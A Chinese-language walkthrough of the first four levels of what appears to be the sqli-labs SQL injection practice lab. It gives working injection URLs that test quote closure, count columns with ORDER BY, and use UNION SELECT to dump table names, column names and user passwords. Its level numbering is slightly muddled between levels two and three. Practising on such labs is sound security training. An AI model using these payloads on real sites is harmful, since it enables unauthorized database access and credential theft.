逼話少說,如有錯誤,煩請指出,謝謝。
第一關
提示傳個id的參數
后面跟個單引號
http://10.2.10.31/sqli/Less-1/?id=1’
發現報錯,這里看到是已經閉合了
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
從報錯內容中可以看出id傳入的是str類型,可以分解成這樣來看
傳遞了一個1‘的參數,並且1’的參數用單引號包裹,最后再最外層一層單引號
' ' 1' ' LIMIT 0,1 '
然后再進行order by 來排序確定字段數
http://10.2.10.31/sqli/Less-1/?id=1' order by 3 --+ 返回正常
http://10.2.10.31/sqli/Less-1/?id=1' order by 4 --+ 返回錯誤
可以確定字段數為3
聯合注入查詢
后采用聯合注入查看當前數據庫名和數據庫版本號
查詢時發現只返回前面一條的查詢數據,那就把id=-1,讓前面的查詢為空,就會返回后面的查詢結果
http://10.2.10.31/sqli/Less-1/?id=-1' union select 1,database(),version() --+
跨庫查詢表內的表名
http://10.2.10.31/sqli/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' --+
group_concat這個函數可以將多個字符串連接成一個字符串,就可以實現把表名一條輸出出來
查詢user字段的內容:
http://10.2.10.31/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' --+
查詢username 和password的值
http://10.2.10.31/sqli/Less-1/?id=-1' union select 1,username,password from users --+
第一關就到這里結束。
第二關
http://10.2.10.31/sqli/Less-2/?id=1%27
報錯信息
發現有括號閉合,那就變成
http://10.2.10.31/sqli/Less-3/?id=1’)
報錯信息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '') LIMIT 0,1' at line 1
這時候就已經閉合了,就按着之前的操作,就解決了
第三關結束
第四關
測試注入點
http://10.2.10.31/sqli/Less-4/?id=1'
發現沒有報錯
改成用雙引號
http://10.2.10.31/sqli/Less-4/?id=1"
報錯信息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1
那就用http://10.2.10.31/sqli/Less-4/?id=1")閉合
按照之前的操作,就可以完成
第四關結束